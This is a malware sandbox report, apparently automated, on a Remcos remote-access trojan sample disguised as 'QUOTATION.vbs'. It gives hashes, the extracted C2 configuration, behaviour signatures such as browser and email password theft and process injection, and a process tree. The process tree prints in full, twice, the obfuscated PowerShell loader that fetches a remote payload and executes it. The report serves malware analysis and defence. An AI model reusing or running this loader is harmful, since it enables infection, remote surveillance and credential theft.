remcos | 1858bf1f510dda89c058014795103b672ea567d6e9a1d6eb7fe6e500543a42d5

Analysis

max time kernel
149s
max time network
142s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
10/07/2024, 05:49

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
QUOTATION.vbs
Size 141KB
Sample240710-gh2stszenn
SHA256 1858bf1f510dda89c058014795103b672ea567d6e9a1d6eb7fe6e500543a42d5
MD5 b0c2134e5ca14aa267507f48f2245c1f
SHA1 709726c144ecc7830b81ff565807793c51398bfe
SHA512 1b36339b2c4b0e9478adeab6091b68021b26d16bb5c440cfecfc4003ef6b720ff20ed3006df10181d2995aaf036a9b1e22fe5122c94b33973ca56885910f9bfb
SSDEEP 3072:wPfUswQ6DNAESJ4gLPypBOkmGxtke+bfeK1sp5PlSLfVhxibKk58id+:wPfUswQ6DN/SJ4gLPyprDtke+bfxsp5I
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

remcos remotehost collection rat

Malware Config

Extracted

Family

remcos

Botnet

RemoteHost

103.237.87.159:9462

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-LO8JHK
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos

NirSoft MailPassView 1 IoCs

Password recovery tool for various email clients

resource	yara_rule
behavioral2/memory/1472-70-0x0000000000400000-0x0000000000462000-memory.dmp	MailPassView

NirSoft WebBrowserPassView 1 IoCs

Password recovery tool for various web browsers

resource	yara_rule
behavioral2/memory/4444-72-0x0000000000400000-0x0000000000478000-memory.dmp	WebBrowserPassView

Nirsoft 3 IoCs

resource	yara_rule
behavioral2/memory/4444-72-0x0000000000400000-0x0000000000478000-memory.dmp	Nirsoft
behavioral2/memory/4080-71-0x0000000000400000-0x0000000000424000-memory.dmp	Nirsoft
behavioral2/memory/1472-70-0x0000000000400000-0x0000000000462000-memory.dmp	Nirsoft

Blocklisted process makes network request 1 IoCs

flow	pid	Process
1	3512	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2650514177-1034912467-4025611726-1000\Control Panel\International\Geo\Nation	WScript.exe

Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2650514177-1034912467-4025611726-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	wab.exe

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
1968	wab.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
2328	powershell.exe
1968	wab.exe

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 2328 set thread context of 1968	2328	powershell.exe	93
PID 1968 set thread context of 4444	1968	wab.exe	97
PID 1968 set thread context of 1472	1968	wab.exe	98
PID 1968 set thread context of 4080	1968	wab.exe	99

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
3512	powershell.exe
3512	powershell.exe
2328	powershell.exe
2328	powershell.exe
2328	powershell.exe
4080	wab.exe
4080	wab.exe
4444	wab.exe
4444	wab.exe
4444	wab.exe
4444	wab.exe

Suspicious behavior: MapViewOfSection 4 IoCs

pid	Process
2328	powershell.exe
1968	wab.exe
1968	wab.exe
1968	wab.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	3512	powershell.exe
Token: SeDebugPrivilege	2328	powershell.exe
Token: SeDebugPrivilege	4080	wab.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1968	wab.exe

Suspicious use of WriteProcessMemory 27 IoCs

description	pid	Process	procid_target
PID 2772 wrote to memory of 3512	2772	WScript.exe	82
PID 2772 wrote to memory of 3512	2772	WScript.exe	82
PID 3512 wrote to memory of 1460	3512	powershell.exe	85
PID 3512 wrote to memory of 1460	3512	powershell.exe	85
PID 3512 wrote to memory of 2328	3512	powershell.exe	90
PID 3512 wrote to memory of 2328	3512	powershell.exe	90
PID 3512 wrote to memory of 2328	3512	powershell.exe	90
PID 2328 wrote to memory of 2960	2328	powershell.exe	91
PID 2328 wrote to memory of 2960	2328	powershell.exe	91
PID 2328 wrote to memory of 2960	2328	powershell.exe	91
PID 2328 wrote to memory of 1968	2328	powershell.exe	93
PID 2328 wrote to memory of 1968	2328	powershell.exe	93
PID 2328 wrote to memory of 1968	2328	powershell.exe	93
PID 2328 wrote to memory of 1968	2328	powershell.exe	93
PID 2328 wrote to memory of 1968	2328	powershell.exe	93
PID 1968 wrote to memory of 4444	1968	wab.exe	97
PID 1968 wrote to memory of 4444	1968	wab.exe	97
PID 1968 wrote to memory of 4444	1968	wab.exe	97
PID 1968 wrote to memory of 4444	1968	wab.exe	97
PID 1968 wrote to memory of 1472	1968	wab.exe	98
PID 1968 wrote to memory of 1472	1968	wab.exe	98
PID 1968 wrote to memory of 1472	1968	wab.exe	98
PID 1968 wrote to memory of 1472	1968	wab.exe	98
PID 1968 wrote to memory of 4080	1968	wab.exe	99
PID 1968 wrote to memory of 4080	1968	wab.exe	99
PID 1968 wrote to memory of 4080	1968	wab.exe	99
PID 1968 wrote to memory of 4080	1968	wab.exe	99

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\QUOTATION.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2772
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Faunist110 Tims Redigeringerne Smashers nrheds Underfinancing Manwards Undertrykker89 Isoborneol Overrestrain Tiggergangs72 Sarode Hutchinsonite Bekendthed superacknowledgment Besvaerlige Udelikateste Fabrikantens Legislated Fruitiest Triradiuses Undigressive Ominate Curiomaniac Faunist110 Tims Redigeringerne Smashers nrheds Underfinancing Manwards Undertrykker89 Isoborneol Overrestrain Tiggergangs72 Sarode Hutchinsonite Bekendthed superacknowledgment Besvaerlige Udelikateste Fabrikantens Legislated Fruitiest Triradiuses Undigressive Ominate Curiomaniac';If (${host}.CurrentCulture) {$Fichteanismndirubine++;}Function Ludder($Bowditch){$Basarbygningen=$Bowditch.Length-$Fichteanismndirubine;$Flykaprers='SUBsTR';$Flykaprers+='ing';For( $Fichteanism=7;$Fichteanism -lt $Basarbygningen;$Fichteanism+=8){$Faunist110+=$Bowditch.$Flykaprers.Invoke( $Fichteanism, $Fichteanismndirubine);}$Faunist110;}function Barbing($Ordrebeholdningerne){ .($Dozing) ($Ordrebeholdningerne);}$Esteban119=Ludder 'Dil.mmaM FrappeoBrockiszStjernei Skol nlNiveaullFilletsaDebauch/ Dagh s5.romogr.Thyropr0m,nstro Utopism(AviseriWAspireriHjemsgen.oisonmdPrestsroGge.ulswSultanasDay ork FunderNIsthmicTAfstand Seldsee1Rykkein0Panachu.Fl,ktue0Duplikn;Balsam. Draper,WHeteromi Gymno,n Hule a6Pebrine4Cosigna;Forebod Dgn.luexForegan6Tallerk4Stf afi;Sandfar Mart rmrDehumanvMal,lla:Reventi1 Invasi2Diffu d1Sclerot.Fartg,d0Superfa)Pol.pho PiloterGKayastheEner ercDagfriskPosr rnoTriache/Berlini2Genaabn0Ill min1Percu.s0Inquili0Unquarr1Erfaren0Toning 1desmola JuncturFVidely,iFile nkrfus onsedwarf efMarch no SoftdrxK,ernes/Matur,m1Burgund2 Ergome1Musiklr.Billbug0 B aska ';$Byggemodnende=Ludder 'Spros.eU.oncannsGeni,saeElaeothrLanaiop-BaccivoA GnggedgD lggeleoverculn Dr,nketNeurine ';$nrheds=Ludder 'rren.esh TrmlkstUndeclatThimblepChar.ba: xcisem/Tyttebr/Coro ar1Theriom0Designe3Gebrden.Marckwa2 Sup.nu3Workday7Sl,kmun.juggler8F ivrdi6.ailler.Aktiesk2Af,less4 Underp7Hderspl/Jogu,tsSUncampavEvolveri MilkbubCircumeeLinieslllenshergFjottesl HarmnoaEftertrs depor sPla teseSoleniutElektri.HjertefaMo,orgacAnethenaRepulsi ';$Cosima118=Ludder 'Blokade> Abst.n ';$Dozing=Ludder 'BortkomiAdeadgoeVi.eodixColo.iz ';$Buyers='Undertrykker89';$filformatet = Ludder 'prespeceR.gsmaacFlavorehSokkensoCamaldo fri eds%spirin aBeskftipApotheopFusetendadm nisaBoligvet,cryingaCru,ena%Alveole\VedligeSCaptainnStrubehoRehabilrTerminoeSurvivetLejevrdrHorseplkAcheulek g.nglae UnstifnSanctaneAkant,s.Udki.spR Hjh dsuDeta,jet en,ycl M rblei&Unfierc&flipov Supprie,cragbrc S,klethIsopo.ioTje lis sn.bolltKonfek, ';Barbing (Ludder 'Pr sbev$FootlesgAngr bslHarmonioCowboyhb Forfora ollapslRebusin: PreppiBBaegersaTrskninl S yrkea .ostmol BlaastaOedipusjEnergytkPapirmla Conglo=Sutherl(Nonindec Sl.tsnmBathrood Forure Pontils/Skriftec.obbelt Bo,efis$ .rmlntfBullet i Behan lProportf AgabanoTroldmarmezqu,tmSectoraaManipultKlammere TabulatLangfrd) Udarbe ');Barbing (Ludder 'Gastro.$ llersg,aalendl ParantoTawneiebVestibuaU.olleglUuds et:stuelejSBehrigemSkaldyraLeak,unsTinlikehCore.oreRet.oltrPe,tidusM nchen= egeta$Betak.gnConfucirBelbsfehlimnicveMaesintdisbjrnesAfskilr. Invigos Jackasp Trumpilunelb wiSt linitK,naane(sinistr$TvangsmCDeath,ao Fauce sPseudopi skarpsmUdkernia Mor.en1Blie ta1Lynchni8Tiltvin)Koghede ');Barbing (Ludder 'nonpuni[RhesuspNLure eneConse.ttRecons .SttteerSvaranideShakesprDyref.rv mrbarbiAfregnicringeape DuvergPAgurkeroForstrri RepresnUncentrt c,rsesMTurkiseaPutoriun Ind.rsaS,rmudfg OverteeBitter,rUvenska]Fuldgo.:St.nogr:AnviselSInundateSalvyfdcPse,doou PhoenirAd.nizeiL saventsatelesyBollixoP .nuptarEquanimoGraferstRegimenoNippe,rcMelanito orlnglRepubli Udjoges=Pseudol Irrotat[MiaowseNobsknereperfecttStenoth.UnephemSSyvsovee AssistcEu,leidu SvveflrOpfi deid vledetL.ningeyRetsbogP InternrSortermoTillidet ProstooPhenomecPa,ningoVi.ideslPal.topTMelodioyForhalep.avrerneA totom]Indvand:En,heal:GimpersTHaemocolcleanlis Mai,id1 Wandli2superat ');$nrheds=$Smashers[0];$Nstflgende= (Ludder 'Carpain$Globel.g Bram.alBardolao NonmetbPalingsaFortolklPectine:KonsultH Visiepy Derhent A.aptotSkrbug,e AgwaydfProduktaStyrehudSpin.lee Taw einNitokoge Uncas,sGlitren=TweesevNRrhatteeSu.attowMopeier- ammerkO sponsobDds.igejOsteocaesamlelic OverrutBagvgsk HowlsmsSBarleyhycarbolis HyperftInfluereElectorm Dio.es.An ordrNFac,tsme ErhvertDro.psp. Haan sW.iscoune .aiwanbPaavirkCBroderllT afikaiPsy,hoseBesmurtnSwe.tsht');$Nstflgende+=$Balalajka[1];Barbing ($Nstflgende);Barbing (Ludder ' Thymol$lbeildeH Graphoy Me.hodt,kudrigtplu.kineTentaclfMotorikaVa,selsd SildefehvepsernE,ospuleUni,onisGallami.ArenseoHTrans,oeOverfl.aForkortdrascetteElgkoenr UpaatasSk nder[Abbedis$DispersBFor.aliyLre tnig Antiseg BarkpeePirogitm agpiesoPatinaedEliminanRomaicteDaadyrkn R.psmadUrigtigeAsylsam] Kredsr= Spring$InterpoEOfficersSorancetBon,oune Engangb ongsomaInterpenU,ligge1Slubret1Salminm9Tyrefgt ');$Vandkmmende=Ludder ' Protod$TrsfordHEspart y extroctProtokotDescendeRenk,ltfChiffonaResociadRegloweeTossersnSubpolyeTap.ncesBield.n. orpligDElectrooDefoggewM,narchnUnlogislMousledoUnearedaJackstodKal.esiFHabitati Milderl S.eepee Fla,ks(Skindla$ VomicinStinkehrOat.akehNominateHaworthdLegalersBatonis, Forhaa$.ristokUBajabadnPulveridEringeriIndacong Libi.irLysningeRondolesFemhundsStorfyri Re.inev ,oilineGodt,po)Bladnin ';$Undigressive=$Balalajka[0];Barbing (Ludder 'Smutte,$SysselfgRidderelKelekveo CiteirbRoastaba FodbollEnebrbu: aurealEMiljforlsummut eHalvledcMedullat RemultrmoserstoFlde focSatyrenhDislodge TelefomPathemaiNondemocS,edkiraGaze oelF rietilN,cromayPreexi,= Int rt( DemisoTFrugtsoeStuepi sUdlgstit Corseq-AfsporePRetitlia SylfidtMacrocoh Ingeni Delmome$SymptomUBogcafen Rend jdbonde.uil ktiongindlaanr kutymeeS.rodersCerebrosHenvendiKvdercavTest.meeBras li)Haveark ');while (!$Electrochemically) {Barbing (Ludder 'Leverin$Fyge.deg DykandlH,ckeryo HandsebEcphoriaA,toindlUnparce:EmbalmmFContaineV dsurosMilkerrtVogterseAnthropshonorab= sanglr$ TelesttUropygirBezale uPseudofeUndilut ') ;Barbing $Vandkmmende;Barbing (Ludder 'Meres aSFoldedrtFiremota Unguesr Sy,acttCongea.-MajorsfS ibrantlForgribeDalsnkneBevbninp.ommand Phenego4Campere ');Barbing (Ludder 'Anlgsar$La eiesgC blesklAfbud roagedesubUlavecoaSt.deprlFordabl:EndevenE frbaadl Knirkeelersersc GhostltIntensarCe.haleoFemg,encSu limih UnperceUhildetmTil,ageiBattingcReddfluaInsurgel AggranlFejlrutyBloodro=G eedsu(PrivitiTP.lytekeFriti.ssPyt.agot equizu-Samm nlPColoquiaDamndestBegreenhPer.oid Kolonil$Rekonf U Grund.nViv,anmdBr esski PhotomgRisstivrUnd.eshe SubclasSge.esusBerggyliBacongrvFagterseSoriteo)Right,b ') ;Barbing (Ludder ' Sch.uw$quadrangVermicilBandtesoIje.prib Embedsa RatioclTuberke: .estdrRNonun,ne SulfocdSnoh.leiRestibrgFormal.eHemibenrJernfiliPrisstsnSetu,ougAmidoxieBoropher hob.mon Forin,eArbejds= Interp$elektrogStykkenl FilbehoTvrfagsbUn.editaHyppespl Underd:ComputeTOutttori Nonim mHypobensLallesk+ortolan+Arbejds%Davidss$M eaftnS Topbelmauto olaUndersksBuddhahhStude,teB gmuskrTilraabsUnfalsi.Anten.ac Rhi.otoTailgebuNont.lenDogla ptAsharas ') ;$nrheds=$Smashers[$Redigeringerne];}$opfriskes=322991;$Gglernes202=31075;Barbing (Ludder 'Histori$UndersagMechoacl Storblo ,ornikb Paralla abilitl Wal,he:Te,elinIO,aculosValencioCerebbebFlus eroPoetiserEmpathyn SyrligeRatsba oTro petlHundehv No.ogen=Nyetabl SgeprocGPargepheSpongint Sleuth- Milad CEmblemeoGlumellnTiologitAnsvar.eMatissen Excee.t doedss Tilfros$forsyniUHepaticnWeightidReattaciSekretagCentralrSpattedeDekadras Refleds Uncrowi Havsndv Hem cyeSydsole ');Barbing (Ludder 'Alkenss$ungdomsgAskeflllNondif o Enzy,ebskulptuaMalkondlStykgod: MatapiAStomatolDefensiifests,laReorgansJaquesseEnyaseld,achelo Surffas=Trinbrt Interfa[PaabydeSRokkehjycleadi,sUnfecu tArkivereSikkerhmEmballa.PlenarfCYrkereaoShinbogn tantivvPrisbeleSmokiesrScurr etbrndesa]Oligoni: cetoph:AnstndiFstubmarrurkokkeoRishstemReumatiBSyntaksaHankelssFoliante T berc6Nocerit4 TetrasSRumfangt Geogn,r SkovbyiSubcuranBondemagordresa(Dybdepe$TaxakrsICongenes.rveslvoPigeonrb,tartrkoSlaglerr DansannRe.iliaeBynkelooU dannel,umette) Resmo ');Barbing (Ludder ' Kroket$ DelbargFirmaomlsoringcoUndervgbRe ommeaBescrapl Porphy:G norreSNattelyaPi.dysrrAdpo itoM ledicdApprobaeFoxesoa Lam.lb=R,tsche Econom[under.nShalfcocyDataindsStylo rtRo.anwoePregradmTilbygg.Tonet oTEx,rtspem torolxLit raltSemidiv. efte,mERespadenPyrrylpc s atioo Oliba,d WesteriBevogtnnKonomipgSoelvst]Sordinf: poor,s:Lovi,egATilstteS trap.zCStorgo IFjeldkaI.ystopl.B.bylonGTin slieNonpen tTonguerSPennalht bovvisrOver.eriEn.prognConcertgForbogs(Nordve $RevolveA Seri.ulTrompetiFigurteaMoanfulsStap.edeSh viandNomades)Choreal ');Barbing (Ludder 'Indbeta$Sne.yddgUndersll Genopho,mprisob None.uagalbanulalgerit:Projek.LSpadseriTumor,ds Ri ikoaWestl wnSpirtsme.narkmgtBasenjitSanctife ,limaz=Preg ad$KonfirmSHjreindaHydrogerLaske.eoExcelled CulotteSekunda.PrdikansForstaau FlormebNoonligsSaloma,tBongoesrR apersiHval esnA.tiquig .flnni( hun ia$ FnblgeoOi kscypSk,nsesfAdrammer Ta emaiDrkarmes T,lskukfigurate EfterbsFlammes, Su dhe$ExorcizG LedigggSkattellDenitraeindsmrer .isiscn SubcarePif lepsRingspi2Silketj0 Impedo2 Chrysa)Drivert ');Barbing $Lisanette;"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3512
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Snoretrkkene.Rut && echo t"
    3⤵
    PID:1460
- - C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Faunist110 Tims Redigeringerne Smashers nrheds Underfinancing Manwards Undertrykker89 Isoborneol Overrestrain Tiggergangs72 Sarode Hutchinsonite Bekendthed superacknowledgment Besvaerlige Udelikateste Fabrikantens Legislated Fruitiest Triradiuses Undigressive Ominate Curiomaniac Faunist110 Tims Redigeringerne Smashers nrheds Underfinancing Manwards Undertrykker89 Isoborneol Overrestrain Tiggergangs72 Sarode Hutchinsonite Bekendthed superacknowledgment Besvaerlige Udelikateste Fabrikantens Legislated Fruitiest Triradiuses Undigressive Ominate Curiomaniac';If (${host}.CurrentCulture) {$Fichteanismndirubine++;}Function Ludder($Bowditch){$Basarbygningen=$Bowditch.Length-$Fichteanismndirubine;$Flykaprers='SUBsTR';$Flykaprers+='ing';For( $Fichteanism=7;$Fichteanism -lt $Basarbygningen;$Fichteanism+=8){$Faunist110+=$Bowditch.$Flykaprers.Invoke( $Fichteanism, $Fichteanismndirubine);}$Faunist110;}function Barbing($Ordrebeholdningerne){ .($Dozing) ($Ordrebeholdningerne);}$Esteban119=Ludder 'Dil.mmaM FrappeoBrockiszStjernei Skol nlNiveaullFilletsaDebauch/ Dagh s5.romogr.Thyropr0m,nstro Utopism(AviseriWAspireriHjemsgen.oisonmdPrestsroGge.ulswSultanasDay ork FunderNIsthmicTAfstand Seldsee1Rykkein0Panachu.Fl,ktue0Duplikn;Balsam. Draper,WHeteromi Gymno,n Hule a6Pebrine4Cosigna;Forebod Dgn.luexForegan6Tallerk4Stf afi;Sandfar Mart rmrDehumanvMal,lla:Reventi1 Invasi2Diffu d1Sclerot.Fartg,d0Superfa)Pol.pho PiloterGKayastheEner ercDagfriskPosr rnoTriache/Berlini2Genaabn0Ill min1Percu.s0Inquili0Unquarr1Erfaren0Toning 1desmola JuncturFVidely,iFile nkrfus onsedwarf efMarch no SoftdrxK,ernes/Matur,m1Burgund2 Ergome1Musiklr.Billbug0 B aska ';$Byggemodnende=Ludder 'Spros.eU.oncannsGeni,saeElaeothrLanaiop-BaccivoA GnggedgD lggeleoverculn Dr,nketNeurine ';$nrheds=Ludder 'rren.esh TrmlkstUndeclatThimblepChar.ba: xcisem/Tyttebr/Coro ar1Theriom0Designe3Gebrden.Marckwa2 Sup.nu3Workday7Sl,kmun.juggler8F ivrdi6.ailler.Aktiesk2Af,less4 Underp7Hderspl/Jogu,tsSUncampavEvolveri MilkbubCircumeeLinieslllenshergFjottesl HarmnoaEftertrs depor sPla teseSoleniutElektri.HjertefaMo,orgacAnethenaRepulsi ';$Cosima118=Ludder 'Blokade> Abst.n ';$Dozing=Ludder 'BortkomiAdeadgoeVi.eodixColo.iz ';$Buyers='Undertrykker89';$filformatet = Ludder 'prespeceR.gsmaacFlavorehSokkensoCamaldo fri eds%spirin aBeskftipApotheopFusetendadm nisaBoligvet,cryingaCru,ena%Alveole\VedligeSCaptainnStrubehoRehabilrTerminoeSurvivetLejevrdrHorseplkAcheulek g.nglae UnstifnSanctaneAkant,s.Udki.spR Hjh dsuDeta,jet en,ycl M rblei&Unfierc&flipov Supprie,cragbrc S,klethIsopo.ioTje lis sn.bolltKonfek, ';Barbing (Ludder 'Pr sbev$FootlesgAngr bslHarmonioCowboyhb Forfora ollapslRebusin: PreppiBBaegersaTrskninl S yrkea .ostmol BlaastaOedipusjEnergytkPapirmla Conglo=Sutherl(Nonindec Sl.tsnmBathrood Forure Pontils/Skriftec.obbelt Bo,efis$ .rmlntfBullet i Behan lProportf AgabanoTroldmarmezqu,tmSectoraaManipultKlammere TabulatLangfrd) Udarbe ');Barbing (Ludder 'Gastro.$ llersg,aalendl ParantoTawneiebVestibuaU.olleglUuds et:stuelejSBehrigemSkaldyraLeak,unsTinlikehCore.oreRet.oltrPe,tidusM nchen= egeta$Betak.gnConfucirBelbsfehlimnicveMaesintdisbjrnesAfskilr. Invigos Jackasp Trumpilunelb wiSt linitK,naane(sinistr$TvangsmCDeath,ao Fauce sPseudopi skarpsmUdkernia Mor.en1Blie ta1Lynchni8Tiltvin)Koghede ');Barbing (Ludder 'nonpuni[RhesuspNLure eneConse.ttRecons .SttteerSvaranideShakesprDyref.rv mrbarbiAfregnicringeape DuvergPAgurkeroForstrri RepresnUncentrt c,rsesMTurkiseaPutoriun Ind.rsaS,rmudfg OverteeBitter,rUvenska]Fuldgo.:St.nogr:AnviselSInundateSalvyfdcPse,doou PhoenirAd.nizeiL saventsatelesyBollixoP .nuptarEquanimoGraferstRegimenoNippe,rcMelanito orlnglRepubli Udjoges=Pseudol Irrotat[MiaowseNobsknereperfecttStenoth.UnephemSSyvsovee AssistcEu,leidu SvveflrOpfi deid vledetL.ningeyRetsbogP InternrSortermoTillidet ProstooPhenomecPa,ningoVi.ideslPal.topTMelodioyForhalep.avrerneA totom]Indvand:En,heal:GimpersTHaemocolcleanlis Mai,id1 Wandli2superat ');$nrheds=$Smashers[0];$Nstflgende= (Ludder 'Carpain$Globel.g Bram.alBardolao NonmetbPalingsaFortolklPectine:KonsultH Visiepy Derhent A.aptotSkrbug,e AgwaydfProduktaStyrehudSpin.lee Taw einNitokoge Uncas,sGlitren=TweesevNRrhatteeSu.attowMopeier- ammerkO sponsobDds.igejOsteocaesamlelic OverrutBagvgsk HowlsmsSBarleyhycarbolis HyperftInfluereElectorm Dio.es.An ordrNFac,tsme ErhvertDro.psp. Haan sW.iscoune .aiwanbPaavirkCBroderllT afikaiPsy,hoseBesmurtnSwe.tsht');$Nstflgende+=$Balalajka[1];Barbing ($Nstflgende);Barbing (Ludder ' Thymol$lbeildeH Graphoy Me.hodt,kudrigtplu.kineTentaclfMotorikaVa,selsd SildefehvepsernE,ospuleUni,onisGallami.ArenseoHTrans,oeOverfl.aForkortdrascetteElgkoenr UpaatasSk nder[Abbedis$DispersBFor.aliyLre tnig Antiseg BarkpeePirogitm agpiesoPatinaedEliminanRomaicteDaadyrkn R.psmadUrigtigeAsylsam] Kredsr= Spring$InterpoEOfficersSorancetBon,oune Engangb ongsomaInterpenU,ligge1Slubret1Salminm9Tyrefgt ');$Vandkmmende=Ludder ' Protod$TrsfordHEspart y extroctProtokotDescendeRenk,ltfChiffonaResociadRegloweeTossersnSubpolyeTap.ncesBield.n. orpligDElectrooDefoggewM,narchnUnlogislMousledoUnearedaJackstodKal.esiFHabitati Milderl S.eepee Fla,ks(Skindla$ VomicinStinkehrOat.akehNominateHaworthdLegalersBatonis, Forhaa$.ristokUBajabadnPulveridEringeriIndacong Libi.irLysningeRondolesFemhundsStorfyri Re.inev ,oilineGodt,po)Bladnin ';$Undigressive=$Balalajka[0];Barbing (Ludder 'Smutte,$SysselfgRidderelKelekveo CiteirbRoastaba FodbollEnebrbu: aurealEMiljforlsummut eHalvledcMedullat RemultrmoserstoFlde focSatyrenhDislodge TelefomPathemaiNondemocS,edkiraGaze oelF rietilN,cromayPreexi,= Int rt( DemisoTFrugtsoeStuepi sUdlgstit Corseq-AfsporePRetitlia SylfidtMacrocoh Ingeni Delmome$SymptomUBogcafen Rend jdbonde.uil ktiongindlaanr kutymeeS.rodersCerebrosHenvendiKvdercavTest.meeBras li)Haveark ');while (!$Electrochemically) {Barbing (Ludder 'Leverin$Fyge.deg DykandlH,ckeryo HandsebEcphoriaA,toindlUnparce:EmbalmmFContaineV dsurosMilkerrtVogterseAnthropshonorab= sanglr$ TelesttUropygirBezale uPseudofeUndilut ') ;Barbing $Vandkmmende;Barbing (Ludder 'Meres aSFoldedrtFiremota Unguesr Sy,acttCongea.-MajorsfS ibrantlForgribeDalsnkneBevbninp.ommand Phenego4Campere ');Barbing (Ludder 'Anlgsar$La eiesgC blesklAfbud roagedesubUlavecoaSt.deprlFordabl:EndevenE frbaadl Knirkeelersersc GhostltIntensarCe.haleoFemg,encSu limih UnperceUhildetmTil,ageiBattingcReddfluaInsurgel AggranlFejlrutyBloodro=G eedsu(PrivitiTP.lytekeFriti.ssPyt.agot equizu-Samm nlPColoquiaDamndestBegreenhPer.oid Kolonil$Rekonf U Grund.nViv,anmdBr esski PhotomgRisstivrUnd.eshe SubclasSge.esusBerggyliBacongrvFagterseSoriteo)Right,b ') ;Barbing (Ludder ' Sch.uw$quadrangVermicilBandtesoIje.prib Embedsa RatioclTuberke: .estdrRNonun,ne SulfocdSnoh.leiRestibrgFormal.eHemibenrJernfiliPrisstsnSetu,ougAmidoxieBoropher hob.mon Forin,eArbejds= Interp$elektrogStykkenl FilbehoTvrfagsbUn.editaHyppespl Underd:ComputeTOutttori Nonim mHypobensLallesk+ortolan+Arbejds%Davidss$M eaftnS Topbelmauto olaUndersksBuddhahhStude,teB gmuskrTilraabsUnfalsi.Anten.ac Rhi.otoTailgebuNont.lenDogla ptAsharas ') ;$nrheds=$Smashers[$Redigeringerne];}$opfriskes=322991;$Gglernes202=31075;Barbing (Ludder 'Histori$UndersagMechoacl Storblo ,ornikb Paralla abilitl Wal,he:Te,elinIO,aculosValencioCerebbebFlus eroPoetiserEmpathyn SyrligeRatsba oTro petlHundehv No.ogen=Nyetabl SgeprocGPargepheSpongint Sleuth- Milad CEmblemeoGlumellnTiologitAnsvar.eMatissen Excee.t doedss Tilfros$forsyniUHepaticnWeightidReattaciSekretagCentralrSpattedeDekadras Refleds Uncrowi Havsndv Hem cyeSydsole ');Barbing (Ludder 'Alkenss$ungdomsgAskeflllNondif o Enzy,ebskulptuaMalkondlStykgod: MatapiAStomatolDefensiifests,laReorgansJaquesseEnyaseld,achelo Surffas=Trinbrt Interfa[PaabydeSRokkehjycleadi,sUnfecu tArkivereSikkerhmEmballa.PlenarfCYrkereaoShinbogn tantivvPrisbeleSmokiesrScurr etbrndesa]Oligoni: cetoph:AnstndiFstubmarrurkokkeoRishstemReumatiBSyntaksaHankelssFoliante T berc6Nocerit4 TetrasSRumfangt Geogn,r SkovbyiSubcuranBondemagordresa(Dybdepe$TaxakrsICongenes.rveslvoPigeonrb,tartrkoSlaglerr DansannRe.iliaeBynkelooU dannel,umette) Resmo ');Barbing (Ludder ' Kroket$ DelbargFirmaomlsoringcoUndervgbRe ommeaBescrapl Porphy:G norreSNattelyaPi.dysrrAdpo itoM ledicdApprobaeFoxesoa Lam.lb=R,tsche Econom[under.nShalfcocyDataindsStylo rtRo.anwoePregradmTilbygg.Tonet oTEx,rtspem torolxLit raltSemidiv. efte,mERespadenPyrrylpc s atioo Oliba,d WesteriBevogtnnKonomipgSoelvst]Sordinf: poor,s:Lovi,egATilstteS trap.zCStorgo IFjeldkaI.ystopl.B.bylonGTin slieNonpen tTonguerSPennalht bovvisrOver.eriEn.prognConcertgForbogs(Nordve $RevolveA Seri.ulTrompetiFigurteaMoanfulsStap.edeSh viandNomades)Choreal ');Barbing (Ludder 'Indbeta$Sne.yddgUndersll Genopho,mprisob None.uagalbanulalgerit:Projek.LSpadseriTumor,ds Ri ikoaWestl wnSpirtsme.narkmgtBasenjitSanctife ,limaz=Preg ad$KonfirmSHjreindaHydrogerLaske.eoExcelled CulotteSekunda.PrdikansForstaau FlormebNoonligsSaloma,tBongoesrR apersiHval esnA.tiquig .flnni( hun ia$ FnblgeoOi kscypSk,nsesfAdrammer Ta emaiDrkarmes T,lskukfigurate EfterbsFlammes, Su dhe$ExorcizG LedigggSkattellDenitraeindsmrer .isiscn SubcarePif lepsRingspi2Silketj0 Impedo2 Chrysa)Drivert ');Barbing $Lisanette;"
    3⤵
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2328
  - - C:\Windows\SysWOW64\cmd.exe
